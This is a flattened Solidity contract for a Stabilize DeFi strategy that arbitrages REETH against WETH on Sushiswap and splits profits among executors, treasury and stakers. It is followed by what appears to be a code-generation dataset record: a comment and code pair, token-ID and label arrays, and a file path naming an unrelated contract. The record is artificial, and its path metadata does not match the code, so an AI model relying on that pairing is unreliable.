(returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _governance; event GovernanceTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _governance = msgSender; emit GovernanceTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function governance() public view returns (address) { return _governance; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyGovernance() { require(_governance == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferGovernance(address newOwner) internal virtual onlyGovernance { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit GovernanceTransferred(_governance, newOwner); _governance = newOwner; } } // File: contracts/strategies/StabilizeStrategyREETHArbV1.sol pragma solidity =0.6.6; // This is a strategy that takes advantage of arb opportunities for reeth // Users deposit reeth into the strategy and the strategy will sell into eth when above eth and eth into reeth when below if near equilibrium // Selling will occur via Uniswap and buying WETH via Uniswap // Executors can execute trades within a certain threshold time after a rebase has occurred and earn a percentage of trade gain // In addition, executors can run trades interface StabilizeStakingPool { function notifyRewardAmount(uint256) external; } interface TradeRouter { function swapExactETHForTokens(uint, address[] calldata, address, uint) external payable returns (uint[] memory); function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory); function getAmountsOut(uint, address[] calldata) external view returns (uint[] memory); // For a value in, it calculates value out } interface AggregatorV3Interface { function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); } interface UniswapLikeLPToken { function sync() external; // We need to call sync before Trading on Uniswap due to rebase potential } interface ReethTokenProtocol { function latestEpoch() external view returns (uint256); function getEpochDetails(uint256) external view returns (uint256, int256, uint256); // Has price, supply change and time data } interface PriceOracle { function getLatestREETHPrice() external view returns (uint256); function updateREETHPrice() external; } interface WrappedEther { function deposit() external payable; } contract StabilizeStrategyREETHArbV1 is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; address public treasuryAddress; // Address of the treasury address public stakingAddress; // Address to the STBZ staking pool address public zsTokenAddress; // The address of the controlling zs-Token address public reethPriceOracleAddress; uint256 constant DIVISION_FACTOR = 100000; uint256 public lastActionBalance = 0; // Balance before last deposit or withdraw uint256 public maxPercentSellPostRebase = 50000; // Up to 50% of the rebase gains are sold post rebase uint256 public startTradeThreshold = 0; // Starts at 0% but will change to 10%. At within 10% threshold, the strategy will trade uint256 public maxAmountSell = 5e18; // The maximum amount of tokens that can be sold at once (normalized) uint256 public maxPercentStipend = 50000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent uint256 public gasStipend = 1000000; // This is the gas units that are covered by executing a trade taken from the WETH profit uint256 public minGain = 1e14; // Minimum amount of gain (0.0001 ) before buying WETH and splitting it uint256 public percentDepositor = 80000; // 1000 = 1%, depositors earn 50% of all gains uint256 public percentExecutor = 10000; // 10000 = 10% of WETH goes to executor. This is on top of gas stipend uint256 public percentStakers = 50000; // 50% of non-depositors WETH goes to stakers, can be changed // Reeth specific vars uint256 public lastTradePrice; uint256 public lastTradeTime; uint256 public lastRebaseEpoch; // Token information // This strategy accepts ampl and usdc struct TokenInfo { IERC20 token; // Reference of token uint256 decimals; // Decimals of token } TokenInfo[] private tokenList; // An array of tokens accepted as deposits // Strategy specific variables address constant SUSHISWAP_ROUTER_ADDRESS = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); //Address of Sushiswap address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant REETH_ADDRESS = address(0xe804964c296E9FB666fBE67767838c1FF9Ab3209); address constant SUSHISWAP_REETH_ETH_LP = address(0x974415a21B5897Fe78E15F826f5EbC231DcEc969); address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle constructor( address _treasury, address _staking, address _zsToken, address _oracle ) public { treasuryAddress = _treasury; stakingAddress = _staking; zsTokenAddress = _zsToken; reethPriceOracleAddress = _oracle; setupWithdrawTokens(); lastTradePrice = getReethPrice(); lastTradeTime = now; lastRebaseEpoch = ReethTokenProtocol(REETH_ADDRESS).latestEpoch(); } // Initialization functions function setupWithdrawTokens() internal { // Start with REETH IERC20 _token = IERC20(REETH_ADDRESS); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); // WETH _token = IERC20(WETH_ADDRESS); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); } // Modifier modifier onlyZSToken() { require(zsTokenAddress == _msgSender(), "Call not sent from the zs-Token"); _; } // Read functions function rewardTokensCount() external view returns (uint256) { return tokenList.length; } function rewardTokenAddress(uint256 _pos) external view returns (address) { require(_pos < tokenList.length,"No token at that position"); return address(tokenList[_pos].token); } function balance() public view returns (uint256) { return getNormalizedTotalBalance(address(this)); } function balanceNoWeight() public view returns (uint256) { uint256 _balance = 0; for(uint256 i = 0; i < tokenList.length; i++){ uint256 _bal = tokenList[i].token.balanceOf(address(this)); _bal = _bal.mul(1e18).div(10**tokenList[i].decimals); _balance = _balance.add(_bal); // This has been normalized to 1e18 decimals } return _balance; } function ethInReethUnits(uint256 _amount) internal view returns (uint256) { if(_amount == 0){return 0;} uint256 reethPrice = getReethPrice(); _amount = _amount.mul(10**tokenList[0].decimals).div(10**tokenList[1].decimals); // Convert to reeth decimals _amount = _amount.mul(1e18).div(reethPrice); return _amount; } function reethInEthUnits(uint256 _amount) internal view returns (uint256) { if(_amount == 0){return 0;} uint256 reethPrice = getReethPrice(); _amount = _amount.mul(10**tokenList[1].decimals).div(10**tokenList[0].decimals); // Convert to eth decimals _amount = _amount.mul(reethPrice).div(1e18); return _amount; } function getNormalizedTotalBalance(address _address) public view returns (uint256) { // Get reeth at address and eth in reeth units based on price oracle uint256 _balance = 0; for(uint256 i = 0; i < tokenList.length; i++){ uint256 _bal = tokenList[i].token.balanceOf(_address); if(i > 0){ _bal = ethInReethUnits(_bal); // Convert to reeth units } _bal = _bal.mul(1e18).div(10**tokenList[0].decimals); _balance = _balance.add(_bal); // This has been normalized to 1e18 decimals } return _balance; } function withdrawTokenReserves() public view returns (address, uint256) { // This function will return the address and amount of fei, then usdc if(tokenList[0].token.balanceOf(address(this)) > 0){ return (address(tokenList[0].token), tokenList[0].token.balanceOf(address(this))); }else if(tokenList[1].token.balanceOf(address(this)) > 0){ return (address(tokenList[1].token), tokenList[1].token.balanceOf(address(this))); }else{ return (address(0), 0); // No balance } } // Write functions function enter() external onlyZSToken { deposit(false); } function exit() external onlyZSToken { // The ZS token vault is removing all tokens from this strategy withdraw(_msgSender(),1,1, false); } function deposit(bool nonContract) public onlyZSToken { // Only the ZS token can call the function // No trading is performed on deposit if(nonContract == true){ } lastActionBalance = balance(); } function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) { require(balance() > 0, "There are no tokens in this strategy"); if(nonContract == true){ } uint256 withdrawAmount = 0; uint256 _balance = balance(); // Returns the normalized balance if(_share < _total){ uint256 _myBalance = _balance.mul(_share).div(_total); withdrawPerOrderWithOracle(_depositor, _myBalance, false); // This will withdraw based on order withdrawAmount = _myBalance; }else{ // We are all shares, transfer all withdrawPerOrderWithOracle(_depositor, _balance, true); withdrawAmount = _balance; } lastActionBalance = balance(); return withdrawAmount; } // This will withdraw the tokens from the contract based on order, essentially main token then collateral function withdrawPerOrderWithOracle(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal { uint256 length = tokenList.length; if(_takeAll == true){ // Send the entire balance for(uint256 i = 0; i < length; i++){ uint256 _bal = tokenList[i].token.balanceOf(address(this)); if(_bal > 0){ tokenList[i].token.safeTransfer(_receiver, _bal); } } return; } for(uint256 i = 0; i < length; i++){ // Determine the balance left uint256 _normalizedBalance = tokenList[i].token.balanceOf(address(this)); if(i == 0){ _normalizedBalance = _normalizedBalance.mul(1e18).div(10**tokenList[0].decimals); // Convert reeth to normalized }else if(i == 1){ // ETH _normalizedBalance = ethInReethUnits(_normalizedBalance); // Convert ETH to REETH units // Then normalize REETH units _normalizedBalance = _normalizedBalance.mul(1e18).div(10**tokenList[0].decimals); } if(_normalizedBalance <= _withdrawAmount){ // Withdraw the entire balance of this token if(_normalizedBalance > 0){ _withdrawAmount = _withdrawAmount.sub(_normalizedBalance); tokenList[i].token.safeTransfer(_receiver, tokenList[i].token.balanceOf(address(this))); } }else{ // Withdraw a partial amount of this token if(_withdrawAmount > 0){ // Convert the withdraw amount to the reeth decimal amount uint256 _balance = _withdrawAmount.mul(10**tokenList[0].decimals).div(1e18); if(i == 1){ // If ETH then convert REETH units to ETH _balance = reethInEthUnits(_balance); } _withdrawAmount = 0; tokenList[i].token.safeTransfer(_receiver, _balance); } break; // Nothing more to withdraw } } } /* function testDeposit(uint256 _tokenID) external payable { // Must interface: function swapExactETHForTokens(uint, address[] calldata, address, uint) external payable returns (uint[] memory); if(_tokenID == 0){ TradeRouter router = TradeRouter(SUSHISWAP_ROUTER_ADDRESS); UniswapLikeLPToken lpPool = UniswapLikeLPToken(SUSHISWAP_REETH_ETH_LP); lpPool.sync(); address[] memory path = new address[](2); path[0] = WETH_ADDRESS; path[1] = address(tokenList[_tokenID].token); router.swapExactETHForTokens{value: msg.value}(1, path, address(this), now.add(60)); }else{ // Deposit into WETH WrappedEther(WETH_ADDRESS).deposit{value: msg.value}(); } } */ function simulateExchange(uint256 _inID, uint256 _outID, uint256 _amount) internal view returns (uint256) { TradeRouter router = TradeRouter(SUSHISWAP_ROUTER_ADDRESS); address[] memory path = new address[](2); path[0] = address(tokenList[_inID].token); path[1] = address(tokenList[_outID].token); uint256[] memory estimates = router.getAmountsOut(_amount, path); _amount = estimates[estimates.length - 1]; return _amount; } function exchange(uint256 _inID, uint256 _outID, uint256 _amount) internal { TradeRouter router = TradeRouter(SUSHISWAP_ROUTER_ADDRESS); // Make sure to sync the LP pair before trading UniswapLikeLPToken lpPool = UniswapLikeLPToken(SUSHISWAP_REETH_ETH_LP); lpPool.sync(); address[] memory path = new address[](2); path[0] = address(tokenList[_inID].token); path[1] = address(tokenList[_outID].token); tokenList[_inID].token.safeApprove(SUSHISWAP_ROUTER_ADDRESS, 0); tokenList[_inID].token.safeApprove(SUSHISWAP_ROUTER_ADDRESS, _amount); router.swapExactTokensForTokens(_amount, 1, path, address(this), now.add(60)); return; } function estimateSellAtMaximumProfit(uint256 originID, uint256 targetID, uint256 _tokenBalance) internal view returns (uint256) { // This will estimate the amount that can be sold for the maximum profit possible // We discover the price then compare it to the actual return // The return must be positive to return a positive amount // Discover the price with near 0 slip uint256 _minAmount = _tokenBalance.mul(DIVISION_FACTOR.div(10000)).div(DIVISION_FACTOR); if(_minAmount == 0){ return 0; } // Nothing to sell, can't calculate uint256 _minReturn = _minAmount.mul(10**tokenList[targetID].decimals).div(10**tokenList[originID].decimals); // Convert decimals uint256 _return = simulateExchange(originID, targetID, _minAmount); if(_return <= _minReturn){ return 0; // We are not going to gain from this trade } _return = _return.mul(10**tokenList[originID].decimals).div(10**tokenList[targetID].decimals); // Convert to origin decimals uint256 _startPrice = _return.mul(1e18).div(_minAmount); // Now get the price at a higher amount, expected to be lower due to slippage uint256 _bigAmount = _tokenBalance.mul(DIVISION_FACTOR).div(DIVISION_FACTOR); _return = simulateExchange(originID, targetID, _bigAmount); _return = _return.mul(10**tokenList[originID].decimals).div(10**tokenList[targetID].decimals); // Convert to origin decimals uint256 _endPrice = _return.mul(1e18).div(_bigAmount); if(_endPrice >= _startPrice){ // Really good liquidity return _bigAmount; } // Else calculate amount at max profit uint256 scaleFactor = uint256(1).mul(10**tokenList[originID].decimals); uint256 _targetAmount = _startPrice.sub(1e18).mul(scaleFactor).div(_startPrice.sub(_endPrice).mul(scaleFactor).div(_bigAmount.sub(_minAmount))).div(2); if(_targetAmount > _bigAmount){ // Cannot create an estimate larger than what we want to sell return _bigAmount; } return _targetAmount; } function getFastGasPrice() internal view returns (uint256) { AggregatorV3Interface gasOracle = AggregatorV3Interface(GAS_ORACLE_ADDRESS); ( , int intGasPrice, , , ) = gasOracle.latestRoundData(); // We only want the answer return uint256(intGasPrice); } function getReethPrice() public view returns (uint256) { uint256 reethPrice = PriceOracle(reethPriceOracleAddress).getLatestREETHPrice(); if(reethPrice == 0){ reethPrice = 1e18; // Set the price to the same } return reethPrice; } function calculateRebaseTokenAmountToSell() internal view returns (bool, uint256) { // This function will determine if a rebase has occurred, if so, it will determine how much to sell ReethTokenProtocol reeth = ReethTokenProtocol(REETH_ADDRESS); uint256 currentEpoch = reeth.latestEpoch(); if(currentEpoch > lastRebaseEpoch){ // The token has rebased, determine whether in contraction or expansion first (,int256 supplyChangeAmount, ) = reeth.getEpochDetails(currentEpoch); if(supplyChangeAmount > 0){ // Positive rebase uint256 lastSupply = IERC20(REETH_ADDRESS).totalSupply().sub(uint256(supplyChangeAmount)); uint256 percentChange = uint256(supplyChangeAmount).mul(DIVISION_FACTOR).div(lastSupply); if(percentChange > 0){ // Sell a percentage of this gain for ETH // Calculate the growth due to percent change // Formula: new tokens = token_balance - token_balance / (1 + percent_change) uint256 _amount = tokenList[0].token.balanceOf(address(this)).mul(1e18).div(DIVISION_FACTOR.add(percentChange)); _amount = tokenList[0].token.balanceOf(address(this)).mul(1e18).sub(_amount).div(1e18); _amount = _amount.mul(maxPercentSellPostRebase).div(DIVISION_FACTOR); return (true, _amount); } } return (true, 0); } return (false, 0); } function calculateEquilibriumTokenToSell() internal view returns (uint256, uint256) { if(startTradeThreshold == 0){return (0,0); } // Don't trade if this is deactivated // This function will determine which token to sell and how much (based on limits) when close to equal ReethTokenProtocol reeth = ReethTokenProtocol(REETH_ADDRESS); uint256 currentEpoch = reeth.latestEpoch(); if(currentEpoch == 0) { return (0,0); } // No epoch information (uint256 epochPrice, int256 supplyChangeAmount, uint256 startTime) = reeth.getEpochDetails(currentEpoch); uint256 lastPrice = lastTradePrice; if(startTime > lastTradeTime){ lastPrice = epochPrice; // Epoch price is more up to date } uint256 nowPrice = getReethPrice(); if(supplyChangeAmount > 0){ // Calculate how much REETH to sell if(nowPrice < lastPrice){ // Price declining if(nowPrice < uint256(1e18).mul(startTradeThreshold).div(DIVISION_FACTOR).add(1e18)){ // Now sell as much Reeth as possible when it has declined enough uint256 _amount = tokenList[0].token.balanceOf(address(this)); _amount = estimateSellAtMaximumProfit(0, 1, _amount); uint256 maxSell = maxAmountSell.mul(10**tokenList[0].decimals).div(1e18); if(_amount > maxSell){ _amount = maxSell; } return (0, _amount); } } return (0, 0); }else{ // In contraction, only buy reeth when price increasing and close to equilibrium if(nowPrice > lastPrice){ // Price increasing if(nowPrice > uint256(1e18).sub(uint256(1e18).mul(startTradeThreshold).div(DIVISION_FACTOR))){ // Now buy as much reeth as possible when it has increased enough uint256 _amount = tokenList[1].token.balanceOf(address(this)); _amount = estimateSellAtMaximumProfit(1, 0, _amount); uint256 maxSell = maxAmountSell.mul(10**tokenList[1].decimals).div(1e18); if(_amount > maxSell){ _amount = maxSell; } return (1, _amount); } } return (1, 0); } } function expectedProfit(bool inWETHForExecutor) external view returns (uint256, uint256, uint256) { // This view will return the amount of gain a forced swap will make on next call and the route with that profit // And the block number // This will return the amount of profit and the route that will yield the most profit (rebase vs equilibrium trading) uint256 _normalizedGain; uint256 _targetRoute; (, uint256 sellBalance) = calculateRebaseTokenAmountToSell(); _normalizedGain = sellBalance.mul(1e18).div(10**tokenList[0].decimals); (uint256 originID, uint256 sellTargetAmount) = calculateEquilibriumTokenToSell(); sellTargetAmount = sellTargetAmount.mul(1e18).div(10**tokenList[originID].decimals); if(_normalizedGain > sellTargetAmount){ _normalizedGain = 0; _targetRoute = 0; // We will sell reeth profit for eth sellBalance = estimateSellAtMaximumProfit(0, 1, sellBalance); if(sellBalance > 0){ uint256 minReceiveBalance = sellBalance.mul(10**tokenList[1].decimals).div(10**tokenList[0].decimals); // Change to match decimals of destination uint256 estimate = simulateExchange(0, 1, sellBalance); if(estimate > minReceiveBalance){ uint256 _gain = estimate.sub(minReceiveBalance).mul(1e18).div(10**tokenList[1].decimals); // Normalized gain _normalizedGain = _normalizedGain.add(_gain); } } }else if(sellTargetAmount > 0){ _normalizedGain = 0; _targetRoute = 1; sellBalance = sellTargetAmount.mul(10**tokenList[originID].decimals).div(1e18); // Convert back into origin decimals uint256 targetID = 1; if(originID == 1){ targetID = 0; } uint256 minReceiveBalance = sellBalance.mul(10**tokenList[targetID].decimals).div(10**tokenList[originID].decimals); // Change to match decimals of destination uint256 estimate = simulateExchange(originID, targetID, sellBalance); if(estimate > minReceiveBalance){ uint256 _gain = estimate.sub(minReceiveBalance).mul(1e18).div(10**tokenList[targetID].decimals); // Normalized gain _normalizedGain = _normalizedGain.add(_gain); } } if(inWETHForExecutor == false){ return (_normalizedGain, _targetRoute, block.number); }else{ if(_normalizedGain == 0){ return (0, _targetRoute, block.number); } // Calculate how much WETH the executor would make as profit uint256 estimate = 0; if(_normalizedGain > 0){ uint256 targetID = 1; if(originID == 1){ targetID = 0; } sellBalance = _normalizedGain.mul(10**tokenList[targetID].decimals).div(1e18); // Convert to target decimals sellBalance = sellBalance.mul(DIVISION_FACTOR.sub(percentDepositor)).div(DIVISION_FACTOR); // Estimate output if(targetID == 0){ estimate = simulateExchange(targetID, 1, sellBalance); }else{ estimate = sellBalance; } } // Now calculate the amount going to the executor uint256 gasFee = getFastGasPrice().mul(gasStipend); // This is gas stipend in wei if(gasFee >= estimate.mul(maxPercentStipend).div(DIVISION_FACTOR)){ // Max percent of total return (estimate.mul(maxPercentStipend).div(DIVISION_FACTOR), _targetRoute, block.number); // The executor will get max percent of total }else{ estimate = estimate.sub(gasFee); // Subtract fee from remaining balance return (estimate.mul(percentExecutor).div(DIVISION_FACTOR).add(gasFee), _targetRoute, block.number); // Executor amount with fee added } } } function checkAndSwapTokens(address _executor, uint256 _targetRoute) internal { lastTradeTime = now; bool _expectIncrease = false; uint256 _totalBalance = balanceNoWeight(); // Get the token balance at this contract, should increase uint256 targetID = 0; if(_targetRoute == 0){ // We want to trade via the positive rebases targetID = 1; (bool rebased, uint256 sellBalance) = calculateRebaseTokenAmountToSell(); if(rebased == true){ ReethTokenProtocol reeth = ReethTokenProtocol(REETH_ADDRESS); lastRebaseEpoch = reeth.latestEpoch(); } sellBalance = estimateSellAtMaximumProfit(0, targetID, sellBalance); if(sellBalance > 0){ lastTradeTime = now; lastTradePrice = getReethPrice(); uint256 minReceiveBalance = sellBalance.mul(10**tokenList[targetID].decimals).div(10**tokenList[0].decimals); // Change to match decimals of destination uint256 estimate = simulateExchange(0, targetID, sellBalance); if(estimate > minReceiveBalance){ _expectIncrease = true; exchange(0, targetID, sellBalance); } } }else{ (uint256 originID, uint256 sellBalance) = calculateEquilibriumTokenToSell(); targetID = 1; if(originID == 1){ targetID = 0; } if(sellBalance > 0){ lastTradeTime = now; lastTradePrice = getReethPrice(); uint256 minReceiveBalance = sellBalance.mul(10**tokenList[targetID].decimals).div(10**tokenList[originID].decimals); // Change to match decimals of destination uint256 estimate = simulateExchange(originID, targetID, sellBalance); if(estimate > minReceiveBalance){ _expectIncrease = true; exchange(originID, targetID, sellBalance); } } } uint256 _newBalance = balanceNoWeight(); if(_expectIncrease == true){ // There may be rare scenarios where we don't gain any by calling this function require(_newBalance > _totalBalance, "Failed to gain in balance from selling tokens"); } uint256 gain = _newBalance.sub(_totalBalance); IERC20 weth = IERC20(WETH_ADDRESS); uint256 _wethGain = 0; if(gain >= minGain){ // Buy WETH from Sushiswap with tokens uint256 sellBalance = gain.mul(10**tokenList[targetID].decimals).div(1e18); // Convert to target decimals sellBalance = sellBalance.mul(DIVISION_FACTOR.sub(percentDepositor)).div(DIVISION_FACTOR); if(sellBalance <= tokenList[targetID].token.balanceOf(address(this))){ if(targetID != 1){ // Sell some of our gained reeth for WETH _wethGain = weth.balanceOf(address(this)); exchange(targetID, 1, sellBalance); _wethGain = weth.balanceOf(address(this)).sub(_wethGain); }else{ _wethGain = sellBalance; } } } if(_wethGain > 0){ // This is pure profit, figure out allocation // Split the amount sent to the treasury, stakers and executor if one exists if(_executor != address(0)){ // Executors will get a gas reimbursement in WETH and a percent of the remaining uint256 maxGasFee = getFastGasPrice().mul(gasStipend); // This is gas stipend in wei uint256 gasFee = tx.gasprice.mul(gasStipend); // This is gas fee requested if(gasFee > maxGasFee){ gasFee = maxGasFee; // Gas fee cannot be greater than the maximum } uint256 executorAmount = gasFee; if(gasFee >= _wethGain.mul(maxPercentStipend).div(DIVISION_FACTOR)){ executorAmount = _wethGain.mul(maxPercentStipend).div(DIVISION_FACTOR); // The executor will get the entire amount up to point }else{ // Add the executor percent on top of gas fee executorAmount = _wethGain.sub(gasFee).mul(percentExecutor).div(DIVISION_FACTOR).add(gasFee); } if(executorAmount > 0){ weth.safeTransfer(_executor, executorAmount); _wethGain = _wethGain.sub(executorAmount); } } if(_wethGain > 0){ uint256 stakersAmount = _wethGain.mul(percentStakers).div(DIVISION_FACTOR); uint256 treasuryAmount = _wethGain.sub(stakersAmount); if(treasuryAmount > 0){ weth.safeTransfer(treasuryAddress, treasuryAmount); } if(stakersAmount > 0){ if(stakingAddress != address(0)){ weth.safeTransfer(stakingAddress, stakersAmount); StabilizeStakingPool(stakingAddress).notifyRewardAmount(stakersAmount); }else{ // No staking pool selected, just send to the treasury weth.safeTransfer(treasuryAddress, stakersAmount); } } } } } function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade, uint256 _targetRoute, uint256 _deadlineBlock) external { // Function designed to promote trading with incentive. Users get 10% of WETH from profitable trades require(block.number <= _deadlineBlock, "Deadline has expired, aborting trade"); require(now.sub(lastTradeTime) >= _minSecSinceLastTrade, "The last trade was too recent"); require(_msgSender() == tx.origin, "Contracts cannot interact with this function"); checkAndSwapTokens(_executor, _targetRoute); } // Governance functions function governanceSwapTokens(uint256 _targetRoute) external onlyGovernance { // This is function that force trade tokens at anytime. It can only be called by governance checkAndSwapTokens(governance(), _targetRoute); } // -------------------- function changeTradingConditions(uint256 _pSellPercent, uint256 _maxSell, uint256 _pStipend, uint256 _maxStipend, uint256 _minGain, uint256 _tradeThreshold) external onlyGovernance { // Changes a lot of trading parameters in one call require( _pSellPercent <= 100000 && _pStipend <= 100000,"Percent cannot be greater than 100%"); maxPercentSellPostRebase = _pSellPercent; maxAmountSell = _maxSell; maxPercentStipend = _pStipend; gasStipend = _maxStipend; minGain = _minGain; startTradeThreshold = _tradeThreshold; } // -------------------- // Remove a stuck token that is non-native function governanceRemoveStuckToken(address _token, uint256 _amount) external onlyGovernance { uint256 length = tokenList.length; for(uint256 i = 0; i < length; i++){ require(_token != address(tokenList[i].token), "Cannot remove native token"); } IERC20(_token).safeTransfer(governance(), _amount); } // Timelock variables uint256 private _timelockStart; // The start of the timelock to change governance variables uint256 private _timelockType; // The function that needs to be changed uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours // Reusable timelock variables address private _timelock_address; uint256[3] private _timelock_data; modifier timelockConditionsMet(uint256 _type) { require(_timelockType == _type, "Timelock not acquired for this function"); _timelockType = 0; // Reset the type once the timelock is used if(balance() > 0){ // Timelock only applies when balance exists require(now >= _timelockStart + TIMELOCK_DURATION, "Timelock time not met"); } _; } // Change the owner of the token contract // -------------------- function startGovernanceChange(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 1; _timelock_address = _address; } function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) { transferGovernance(_timelock_address); } // -------------------- // Change the treasury address // -------------------- function startChangeTreasury(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 2; _timelock_address = _address; } function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) { treasuryAddress = _timelock_address; } // -------------------- // Change the staking address // -------------------- function startChangeStakingPool(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 3; _timelock_address = _address; } function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) { stakingAddress = _timelock_address; } // -------------------- // Change the zsToken address // -------------------- function startChangeZSToken(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 4; _timelock_address = _address; } function finishChangeZSToken() external onlyGovernance timelockConditionsMet(4) { zsTokenAddress = _timelock_address; } // -------------------- // Change the strategy allocations between the parties // -------------------- function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers) external onlyGovernance { // Changes strategy allocations in one call require(_pDepositors <= 100000 && _pExecutor <= 100000 && _pStakers <= 100000,"Percent cannot be greater than 100%"); _timelockStart = now; _timelockType = 5; _timelock_data[0] = _pDepositors; _timelock_data[1] = _pExecutor; _timelock_data[2] = _pStakers; } function finishChangeStrategyAllocations() external onlyGovernance timelockConditionsMet(5) { percentDepositor = _timelock_data[0]; percentExecutor = _timelock_data[1]; percentStakers = _timelock_data[2]; } // -------------------- // Change the price oracle // -------------------- function startChangePriceOracle(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 6; _timelock_address = _address; } function finishChangePriceOracle() external onlyGovernance timelockConditionsMet(6) { reethPriceOracleAddress = _timelock_address; } // -------------------- }
We will sell reeth profit for eth
_targetRoute = 0;
12,095,942
[ 1, 3218, 903, 357, 80, 283, 546, 450, 7216, 364, 13750, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 389, 3299, 3255, 273, 374, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x4511E45687b0F18152A03C4FD20E61fb9B373431/sources/contracts/LOVProduct.sol
